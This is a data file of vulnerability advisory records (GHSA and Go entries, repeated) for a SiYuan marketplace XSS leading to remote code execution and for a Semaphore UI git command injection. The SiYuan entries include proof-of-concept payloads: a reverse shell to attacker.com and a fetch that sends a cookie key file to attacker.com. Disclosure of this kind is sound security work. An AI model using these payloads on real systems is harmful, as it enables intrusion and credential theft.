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{"schema_version":"1.9.0","id":"GHSA-v3mg-9v85-fcm7","published":"2026-03-16T20:43:49Z","modified":"2026-09-14T18:27:20.294445591Z","aliases":["CVE-2026-56395","CVE-2026-56397","GO-2026-4720"],"summary":"SiYuan Vulnerable to Remote Code Execution via Malicious Bazaar Package — Marketplace XSS","details":"# Remote Code Execution via Malicious Bazaar Package — Marketplace XSS\n\n## Summary\n\nSiYuan's Bazaar (community marketplace) renders plugin/theme/template metadata and README content without sanitization. A malicious package author can achieve RCE on any user who browses the Bazaar by:\n\n1. **Package metadata XSS (zero-click):** Package `displayName` and `description` fields are injected directly into HTML via template literals without escaping. Just loading the Bazaar page triggers execution.\n2. **README XSS (one-click):** The `renderREADME` function uses `lute.New()` without `SetSanitize(true)`, so raw HTML in the README passes through to `innerHTML` unsanitized.\n\nBoth vectors execute in Electron's renderer with `nodeIntegration: true` and `contextIsolation: false`, giving full OS command execution.\n\n## Affected Component\n\n- **Metadata rendering:** `app/src/config/bazaar.ts:275-277`\n- **README rendering (backend):** `kernel/bazaar/package.go:635-645` (`renderREADME`)\n- **README rendering (frontend):** `app/src/config/bazaar.ts:607` (`innerHTML`)\n- **Electron config:** `app/electron/main.js:422-426` (`nodeIntegration: true`)\n- **Version:** SiYuan <= 3.5.9\n\n## Vulnerable Code\n\n### Vector 1: Package metadata — no HTML escaping (bazaar.ts:275-277)\n\n```typescript\n// Package name injected directly into HTML template — NO escaping\n${item.preferredName}${item.preferredName !== item.name\n ? ` <span class=\"ft__on-surface ft__smaller\">${item.name}</span>` : \"\"}\n\n// Package description injected directly — NO escaping\n<div class=\"b3-card__desc\" title=\"${escapeAttr(item.preferredDesc) || \"\"}\">\n ${item.preferredDesc || \"\"} <!-- UNESCAPED HTML -->\n</div>\n```\n\nNote: The `title` attribute uses `escapeAttr()`, but the actual text content does not — inconsistent escaping.\n\n### Vector 2: README rendering — no Lute sanitization (package.go:635-645)\n\n```go\nfunc renderREADME(repoURL string, mdData []byte) (ret string, err error) {\n luteEngine := lute.New() // Fresh Lute instance — SetSanitize NOT called\n luteEngine.SetSoftBreak2HardBreak(false)\n luteEngine.SetCodeSyntaxHighlight(false)\n linkBase := \"https://cdn.jsdelivr.net/gh/\" + ...\n luteEngine.SetLinkBase(linkBase)\n ret = luteEngine.Md2HTML(string(mdData)) // Raw HTML in markdown preserved\n return\n}\n```\n\nCompare with the SiYuan note renderer in `kernel/util/lute.go:81`:\n```go\nluteEngine.SetSanitize(true) // Notes ARE sanitized — but README is NOT\n```\n\n### Frontend innerHTML injection (bazaar.ts:607)\n\n```typescript\nfetchPost(\"/api/bazaar/getBazaarPackageREADME\", {...}, response => {\n mdElement.innerHTML = response.data.html; // Unsanitized HTML from README\n});\n```\n\n## Proof of Concept\n\n### Vector 1: Malicious package manifest (zero-click RCE)\n\nA malicious `plugin.json` (or `theme.json`, `template.json`):\n\n```json\n{\n \"name\": \"helpful-plugin\",\n \"displayName\": {\n \"default\": \"Helpful Plugin<img src=x onerror=\\\"require('child_process').exec('calc.exe')\\\">\"\n },\n \"description\": {\n \"default\": \"A helpful plugin<img src=x onerror=\\\"require('child_process').exec('id>/tmp/pwned')\\\">\"\n },\n \"version\": \"1.0.0\"\n}\n```\n\nWhen any user opens the Bazaar page and this package is in the listing, the `onerror` handler fires automatically (since `src=x` fails to load), executing arbitrary OS commands.\n\n### Vector 2: Malicious README.md (one-click RCE)\n\n```markdown\n# Helpful Plugin\n\nThis plugin does helpful things.\n\n<img src=x onerror=\"require('child_process').exec('calc.exe')\">\n\n## Installation\n\nFollow the usual steps.\n```\n\nWhen a user clicks on the package to view its README, the raw HTML is rendered via `innerHTML` without sanitization, executing the `onerror` handler.\n\n### Reverse shell via README\n\n```markdown\n# Cool Theme\n\n<img src=x onerror=\"require('child_process').exec('bash -c \\\"bash -i >& /dev/tcp/attacker.com/4444 0>&1\\\"')\">\n```\n\n### Data exfiltration via package name\n\n```json\n{\n \"displayName\": {\n \"default\": \"<img src=x onerror=\\\"fetch('https://attacker.com/exfil?token='+require('fs').readFileSync(require('path').join(require('os').homedir(),'.config/siyuan/cookie.key'),'utf8'))\\\">\"\n }\n}\n```\n\n## Attack Scenario\n\n1. Attacker creates a GitHub repository with a plugin/theme/template\n2. Attacker submits it to the SiYuan Bazaar (community marketplace)\n3. Package manifest contains XSS payload in `displayName` or `description`\n4. **Zero-click:** When ANY user browses the Bazaar, the package listing renders the malicious nLine truncated
{"schema_version":"1.9.0","id":"GHSA-v3mg-9v85-fcm7","published":"2026-03-16T20:43:49Z","modified":"2026-11-17T07:11:28.734015372Z","aliases":["CVE-2026-56397","GO-2026-4720"],"summary":"SiYuan Vulnerable to Remote Code Execution via Malicious Bazaar Package — Marketplace XSS","details":"# Remote Code Execution via Malicious Bazaar Package — Marketplace XSS\n\n## Summary\n\nSiYuan's Bazaar (community marketplace) renders plugin/theme/template metadata and README content without sanitization. A malicious package author can achieve RCE on any user who browses the Bazaar by:\n\n1. **Package metadata XSS (zero-click):** Package `displayName` and `description` fields are injected directly into HTML via template literals without escaping. Just loading the Bazaar page triggers execution.\n2. **README XSS (one-click):** The `renderREADME` function uses `lute.New()` without `SetSanitize(true)`, so raw HTML in the README passes through to `innerHTML` unsanitized.\n\nBoth vectors execute in Electron's renderer with `nodeIntegration: true` and `contextIsolation: false`, giving full OS command execution.\n\n## Affected Component\n\n- **Metadata rendering:** `app/src/config/bazaar.ts:275-277`\n- **README rendering (backend):** `kernel/bazaar/package.go:635-645` (`renderREADME`)\n- **README rendering (frontend):** `app/src/config/bazaar.ts:607` (`innerHTML`)\n- **Electron config:** `app/electron/main.js:422-426` (`nodeIntegration: true`)\n- **Version:** SiYuan <= 3.5.9\n\n## Vulnerable Code\n\n### Vector 1: Package metadata — no HTML escaping (bazaar.ts:275-277)\n\n```typescript\n// Package name injected directly into HTML template — NO escaping\n${item.preferredName}${item.preferredName !== item.name\n ? ` <span class=\"ft__on-surface ft__smaller\">${item.name}</span>` : \"\"}\n\n// Package description injected directly — NO escaping\n<div class=\"b3-card__desc\" title=\"${escapeAttr(item.preferredDesc) || \"\"}\">\n ${item.preferredDesc || \"\"} <!-- UNESCAPED HTML -->\n</div>\n```\n\nNote: The `title` attribute uses `escapeAttr()`, but the actual text content does not — inconsistent escaping.\n\n### Vector 2: README rendering — no Lute sanitization (package.go:635-645)\n\n```go\nfunc renderREADME(repoURL string, mdData []byte) (ret string, err error) {\n luteEngine := lute.New() // Fresh Lute instance — SetSanitize NOT called\n luteEngine.SetSoftBreak2HardBreak(false)\n luteEngine.SetCodeSyntaxHighlight(false)\n linkBase := \"https://cdn.jsdelivr.net/gh/\" + ...\n luteEngine.SetLinkBase(linkBase)\n ret = luteEngine.Md2HTML(string(mdData)) // Raw HTML in markdown preserved\n return\n}\n```\n\nCompare with the SiYuan note renderer in `kernel/util/lute.go:81`:\n```go\nluteEngine.SetSanitize(true) // Notes ARE sanitized — but README is NOT\n```\n\n### Frontend innerHTML injection (bazaar.ts:607)\n\n```typescript\nfetchPost(\"/api/bazaar/getBazaarPackageREADME\", {...}, response => {\n mdElement.innerHTML = response.data.html; // Unsanitized HTML from README\n});\n```\n\n## Proof of Concept\n\n### Vector 1: Malicious package manifest (zero-click RCE)\n\nA malicious `plugin.json` (or `theme.json`, `template.json`):\n\n```json\n{\n \"name\": \"helpful-plugin\",\n \"displayName\": {\n \"default\": \"Helpful Plugin<img src=x onerror=\\\"require('child_process').exec('calc.exe')\\\">\"\n },\n \"description\": {\n \"default\": \"A helpful plugin<img src=x onerror=\\\"require('child_process').exec('id>/tmp/pwned')\\\">\"\n },\n \"version\": \"1.0.0\"\n}\n```\n\nWhen any user opens the Bazaar page and this package is in the listing, the `onerror` handler fires automatically (since `src=x` fails to load), executing arbitrary OS commands.\n\n### Vector 2: Malicious README.md (one-click RCE)\n\n```markdown\n# Helpful Plugin\n\nThis plugin does helpful things.\n\n<img src=x onerror=\"require('child_process').exec('calc.exe')\">\n\n## Installation\n\nFollow the usual steps.\n```\n\nWhen a user clicks on the package to view its README, the raw HTML is rendered via `innerHTML` without sanitization, executing the `onerror` handler.\n\n### Reverse shell via README\n\n```markdown\n# Cool Theme\n\n<img src=x onerror=\"require('child_process').exec('bash -c \\\"bash -i >& /dev/tcp/attacker.com/4444 0>&1\\\"')\">\n```\n\n### Data exfiltration via package name\n\n```json\n{\n \"displayName\": {\n \"default\": \"<img src=x onerror=\\\"fetch('https://attacker.com/exfil?token='+require('fs').readFileSync(require('path').join(require('os').homedir(),'.config/siyuan/cookie.key'),'utf8'))\\\">\"\n }\n}\n```\n\n## Attack Scenario\n\n1. Attacker creates a GitHub repository with a plugin/theme/template\n2. Attacker submits it to the SiYuan Bazaar (community marketplace)\n3. Package manifest contains XSS payload in `displayName` or `description`\n4. **Zero-click:** When ANY user browses the Bazaar, the package listing renders the malicious name/description Line truncated
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{"schema_version":"1.9.0","id":"GHSA-xp7j-h7jc-4w8p","published":"2026-09-08T17:57:44Z","modified":"2026-09-10T15:25:29.058724876Z","aliases":["CVE-2026-73294","CVE-2026-73682","GO-2026-6435"],"summary":"Semaphore U: OS Command Injection","details":"# Summary\nAn OS command injection in repository git_url handling lets any user holding the Manager or Owner role on any project (the normal project-collaborator roles) achieve remote code execution on the Semaphore server host. Using git's --upload-pack=<cmd> option, an attacker runs arbitrary commands. The command executes inside the main Semaphore server process (via the schedule commit-hash poller), so it runs even when jobs are configured for remote runners — bypassing runner isolation and exposing the master encryption key and every project's secrets. Reproducible on a default install (git_client: cmd_git); no non-default configuration is required.\n\n# Details\nThe repository git_url is attacker-controlled (HTTP body) and reaches exec.Command(\"git\", ...) unvalidated. Two missing controls cause this:\n\n1. git_url is never validated against option injection.\nRepository.Validate() (db/Repository.go, ~lines 138–156) validates the branch via ValidateGitBranch (db/git_branch.go, which rejects a leading -), but performs no equivalent check on GitURL (only \"non-empty\"). ValidateRepository (db/Store.go, ~802–806) only checks the SSH key. CreateRepository (db/sql/repository.go, ~76–95) stores it verbatim. Because --upload-pack=... has no scheme:// and no leading /, GetType() (db/Repository.go, ~113–136) classifies it as RepositorySSH and GetGitURL(false) (~72–111) returns it raw/unchanged.\n\n2. The git command is built with no -- separator.\nCmdGitClient.GetLastRemoteCommitHash (db_lib/CmdGitClient.go, ~169–185) calls:\nc.output(r, GitRepositoryTmpPath, \"ls-remote\",\n r.Repository.GetGitURL(false), // attacker-controlled\n r.Repository.GitBranch) // \"master\"\noutput (~79–93) → makeCmd (~21–60): exec.Command(\"git\") (line ~27), cmd.Args = append(cmd.Args, args...) (line ~55). The resulting argv has no --:\n[\"git\", \"ls-remote\", \"--upload-pack=<cmd>;true\", \"master\"]\ngit parses --upload-pack=... as an option; master becomes the (local-transport) repository operand; git then executes the upload-pack value through a shell (sh -c \"<cmd> 'master'\"), running <cmd>. This is intended git behavior — the fault is Semaphore passing untrusted data as argv. (The command runs even though git subsequently prints fatal: Could not read from remote repository and exits 128, and even though master is not a real path.)\n\n### Trigger — it fires in the server process.\nA project schedule with a repository_id causes the scheduler to run git ls-remote to check for new commits. AddSchedule (api/projects/schedules.go, ~130–160; validateSchedulePayload ~86–118 validates only the cron format — it does not require the repo to be tied to the template). The schedule pool is started in the server process: runService in cli/cmd/root.go (CreateSchedulePool ~line 115, go schedulePool.Run() ~line 193), independent of remote-runner config. On each tick, ScheduleRunner.Run (services/schedules/SchedulePool.go, ~96–193, line ~117) calls tryUpdateScheduleCommitHash (~61–94) — before the HA de-dup lock (~145) — which loads the repo by repository_id and calls GetLastRemoteCommitHash(). Refresh (~265–358, line 287) registers such schedules even when inactive, so deactivating does not stop it.\n\n### Entry points:\nPOST /api/project/{id}/repositories (api/projects/repository.go:AddRepository, ~101–137) stores the payload; POST /api/project/{id}/schedules arms it. Both are gated by GetMustCanMiddleware(db.CanManageProjectResources) (api/router.go ~294/310/327), a permission held by ProjectManager/ProjectOwner (db/ProjectUser.go, ~22–27).\n\n# PoC\nEnvironment: the official semaphore v2.18.12 binary; git, python3, nc present. This PoC uses the default git client and non_admin_can_create_project: false; the attacker lowpriv is onboarded by the admin as a normal Manager (no special configuration).\n\n### Terminal 1 — config + users + server\n```\n cd ~/PoC && mkdir -p tmp\n cat > config.json <<EOF\n { \"sqlite\":{\"host\":\"$PWD/database.sqlite\"},\"dialect\":\"sqlite\",\"tmp_path\":\"$PWD/tmp\",\n \"port\":\":3000\",\"interface\":\"127.0.0.1\",\n \"cookie_hash\":\"$(head -c32 /dev/urandom|base64)\",\"cookie_encryption\":\"$(head -c32 /dev/urandom|base64)\",\n \"access_key_encryption\":\"$(head -c32 /dev/urandom|base64)\",\"git_client\":\"cmd_git\",\n \"non_admin_can_create_project\":false,\"web_host\":\"http://127.0.0.1:3000/\" }\n EOF\n ./semaphore user add --admin --login admin --name Admin --email admin@example.com --password 'Admin123!' --config config.json\n ./semaphore user add --login lowpriv --name Low --email low@example.com --password 'LowPriv123!' --config config.json\n ./Line truncated
{"schema_version":"1.9.0","id":"GHSA-xp7j-h7jc-4w8p","published":"2026-09-08T17:57:44Z","modified":"2026-11-17T07:10:43.612648503Z","aliases":["CVE-2026-73294","GO-2026-6435"],"summary":"Semaphore U: OS Command Injection","details":"# Summary\nAn OS command injection in repository git_url handling lets any user holding the Manager or Owner role on any project (the normal project-collaborator roles) achieve remote code execution on the Semaphore server host. Using git's --upload-pack=<cmd> option, an attacker runs arbitrary commands. The command executes inside the main Semaphore server process (via the schedule commit-hash poller), so it runs even when jobs are configured for remote runners — bypassing runner isolation and exposing the master encryption key and every project's secrets. Reproducible on a default install (git_client: cmd_git); no non-default configuration is required.\n\n# Details\nThe repository git_url is attacker-controlled (HTTP body) and reaches exec.Command(\"git\", ...) unvalidated. Two missing controls cause this:\n\n1. git_url is never validated against option injection.\nRepository.Validate() (db/Repository.go, ~lines 138–156) validates the branch via ValidateGitBranch (db/git_branch.go, which rejects a leading -), but performs no equivalent check on GitURL (only \"non-empty\"). ValidateRepository (db/Store.go, ~802–806) only checks the SSH key. CreateRepository (db/sql/repository.go, ~76–95) stores it verbatim. Because --upload-pack=... has no scheme:// and no leading /, GetType() (db/Repository.go, ~113–136) classifies it as RepositorySSH and GetGitURL(false) (~72–111) returns it raw/unchanged.\n\n2. The git command is built with no -- separator.\nCmdGitClient.GetLastRemoteCommitHash (db_lib/CmdGitClient.go, ~169–185) calls:\nc.output(r, GitRepositoryTmpPath, \"ls-remote\",\n r.Repository.GetGitURL(false), // attacker-controlled\n r.Repository.GitBranch) // \"master\"\noutput (~79–93) → makeCmd (~21–60): exec.Command(\"git\") (line ~27), cmd.Args = append(cmd.Args, args...) (line ~55). The resulting argv has no --:\n[\"git\", \"ls-remote\", \"--upload-pack=<cmd>;true\", \"master\"]\ngit parses --upload-pack=... as an option; master becomes the (local-transport) repository operand; git then executes the upload-pack value through a shell (sh -c \"<cmd> 'master'\"), running <cmd>. This is intended git behavior — the fault is Semaphore passing untrusted data as argv. (The command runs even though git subsequently prints fatal: Could not read from remote repository and exits 128, and even though master is not a real path.)\n\n### Trigger — it fires in the server process.\nA project schedule with a repository_id causes the scheduler to run git ls-remote to check for new commits. AddSchedule (api/projects/schedules.go, ~130–160; validateSchedulePayload ~86–118 validates only the cron format — it does not require the repo to be tied to the template). The schedule pool is started in the server process: runService in cli/cmd/root.go (CreateSchedulePool ~line 115, go schedulePool.Run() ~line 193), independent of remote-runner config. On each tick, ScheduleRunner.Run (services/schedules/SchedulePool.go, ~96–193, line ~117) calls tryUpdateScheduleCommitHash (~61–94) — before the HA de-dup lock (~145) — which loads the repo by repository_id and calls GetLastRemoteCommitHash(). Refresh (~265–358, line 287) registers such schedules even when inactive, so deactivating does not stop it.\n\n### Entry points:\nPOST /api/project/{id}/repositories (api/projects/repository.go:AddRepository, ~101–137) stores the payload; POST /api/project/{id}/schedules arms it. Both are gated by GetMustCanMiddleware(db.CanManageProjectResources) (api/router.go ~294/310/327), a permission held by ProjectManager/ProjectOwner (db/ProjectUser.go, ~22–27).\n\n# PoC\nEnvironment: the official semaphore v2.18.12 binary; git, python3, nc present. This PoC uses the default git client and non_admin_can_create_project: false; the attacker lowpriv is onboarded by the admin as a normal Manager (no special configuration).\n\n### Terminal 1 — config + users + server\n```\n cd ~/PoC && mkdir -p tmp\n cat > config.json <<EOF\n { \"sqlite\":{\"host\":\"$PWD/database.sqlite\"},\"dialect\":\"sqlite\",\"tmp_path\":\"$PWD/tmp\",\n \"port\":\":3000\",\"interface\":\"127.0.0.1\",\n \"cookie_hash\":\"$(head -c32 /dev/urandom|base64)\",\"cookie_encryption\":\"$(head -c32 /dev/urandom|base64)\",\n \"access_key_encryption\":\"$(head -c32 /dev/urandom|base64)\",\"git_client\":\"cmd_git\",\n \"non_admin_can_create_project\":false,\"web_host\":\"http://127.0.0.1:3000/\" }\n EOF\n ./semaphore user add --admin --login admin --name Admin --email admin@example.com --password 'Admin123!' --config config.json\n ./semaphore user add --login lowpriv --name Low --email low@example.com --password 'LowPriv123!' --config config.json\n ./semaphore server Line truncated
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{"schema_version":"1.9.0","id":"GO-2026-4720","published":"2026-08-19T15:16:03Z","modified":"2026-08-19T15:57:12.573096609Z","aliases":["CVE-2026-56395","CVE-2026-56397","GHSA-v3mg-9v85-fcm7"],"summary":"SiYuan vulnerable to remote code execution via marketplace XSS in github.com/siyuan-note/siyuan/kernel","details":"SiYuan vulnerable to remote code execution via marketplace XSS in github.com/siyuan-note/siyuan/kernel.\n\nNOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.\n\n(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)\n\nThe additional affected modules and versions are: github.com/siyuan-note/siyuan/kernel before v3.6.1.","affected":[{"package":{"name":"github.com/siyuan-note/siyuan/kernel","ecosystem":"Go","purl":"pkg:golang/github.com/siyuan-note/siyuan/kernel"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.0.0-20260317012524-fe4523fff2c8"}]}],"ecosystem_specific":{"custom_ranges":[{"events":[{"introduced":"0"},{"fixed":"3.6.1"}],"type":"ECOSYSTEM"}]},"database_specific":{"source":"https://vuln.go.dev/ID/GO-2026-4720.json"}}],"references":[{"type":"ADVISORY","url":"https://github.com/siyuan-note/siyuan/security/advisories/GHSA-v3mg-9v85-fcm7"}],"database_specific":{"review_status":"UNREVIEWED","url":"https://pkg.go.dev/vuln/GO-2026-4720"}}
{"schema_version":"1.9.0","id":"GO-2026-4720","published":"2026-08-19T15:16:03Z","modified":"2026-11-17T07:11:28.734015372Z","aliases":["CVE-2026-56397","GHSA-v3mg-9v85-fcm7"],"summary":"SiYuan vulnerable to remote code execution via marketplace XSS in github.com/siyuan-note/siyuan/kernel","details":"SiYuan vulnerable to remote code execution via marketplace XSS in github.com/siyuan-note/siyuan/kernel.\n\nNOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.\n\n(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)\n\nThe additional affected modules and versions are: github.com/siyuan-note/siyuan/kernel before v3.6.1.","affected":[{"package":{"name":"github.com/siyuan-note/siyuan/kernel","ecosystem":"Go","purl":"pkg:golang/github.com/siyuan-note/siyuan/kernel"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.0.0-20260317012524-fe4523fff2c8"}]}],"ecosystem_specific":{"custom_ranges":[{"events":[{"introduced":"0"},{"fixed":"3.6.1"}],"type":"ECOSYSTEM"}]},"database_specific":{"source":"https://vuln.go.dev/ID/GO-2026-4720.json"}}],"references":[{"type":"ADVISORY","url":"https://github.com/siyuan-note/siyuan/security/advisories/GHSA-v3mg-9v85-fcm7"}],"database_specific":{"review_status":"UNREVIEWED","url":"https://pkg.go.dev/vuln/GO-2026-4720"}}
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{"schema_version":"1.9.0","id":"GO-2026-6435","published":"2026-09-10T14:48:42Z","modified":"2026-09-10T15:25:29.058724876Z","aliases":["CVE-2026-73294","CVE-2026-73682","GHSA-xp7j-h7jc-4w8p"],"summary":"Semaphore U: OS Command Injection in github.com/semaphoreui/semaphore","details":"Semaphore U: OS Command Injection in github.com/semaphoreui/semaphore","affected":[{"package":{"name":"github.com/semaphoreui/semaphore","ecosystem":"Go","purl":"pkg:golang/github.com/semaphoreui/semaphore"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.0.0-20260704181911-7e8a9434bd81"}]}],"ecosystem_specific":{},"database_specific":{"source":"https://vuln.go.dev/ID/GO-2026-6435.json"}}],"references":[{"type":"ADVISORY","url":"https://github.com/semaphoreui/semaphore/security/advisories/GHSA-xp7j-h7jc-4w8p"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-73294"},{"type":"FIX","url":"https://github.com/semaphoreui/semaphore/commit/7e8a9434bd81b82cf42220151c74801ea97542d6"},{"type":"FIX","url":"https://github.com/semaphoreui/semaphore/commit/a7a7a33a64aea382a0726b3722856f298663eacf"},{"type":"WEB","url":"https://github.com/semaphoreui/semaphore/tree/v2.18.17"},{"type":"WEB","url":"https://github.com/semaphoreui/semaphore/tree/v2.19.5-beta2"}],"database_specific":{"review_status":"UNREVIEWED","url":"https://pkg.go.dev/vuln/GO-2026-6435"}}
{"schema_version":"1.9.0","id":"GO-2026-6435","published":"2026-09-10T14:48:42Z","modified":"2026-11-17T07:10:43.612648503Z","aliases":["CVE-2026-73294","GHSA-xp7j-h7jc-4w8p"],"summary":"Semaphore U: OS Command Injection in github.com/semaphoreui/semaphore","details":"Semaphore U: OS Command Injection in github.com/semaphoreui/semaphore","affected":[{"package":{"name":"github.com/semaphoreui/semaphore","ecosystem":"Go","purl":"pkg:golang/github.com/semaphoreui/semaphore"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.0.0-20260704181911-7e8a9434bd81"}]}],"ecosystem_specific":{},"database_specific":{"source":"https://vuln.go.dev/ID/GO-2026-6435.json"}}],"references":[{"type":"ADVISORY","url":"https://github.com/semaphoreui/semaphore/security/advisories/GHSA-xp7j-h7jc-4w8p"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-73294"},{"type":"FIX","url":"https://github.com/semaphoreui/semaphore/commit/7e8a9434bd81b82cf42220151c74801ea97542d6"},{"type":"FIX","url":"https://github.com/semaphoreui/semaphore/commit/a7a7a33a64aea382a0726b3722856f298663eacf"},{"type":"WEB","url":"https://github.com/semaphoreui/semaphore/tree/v2.18.17"},{"type":"WEB","url":"https://github.com/semaphoreui/semaphore/tree/v2.19.5-beta2"}],"database_specific":{"review_status":"UNREVIEWED","url":"https://pkg.go.dev/vuln/GO-2026-6435"}}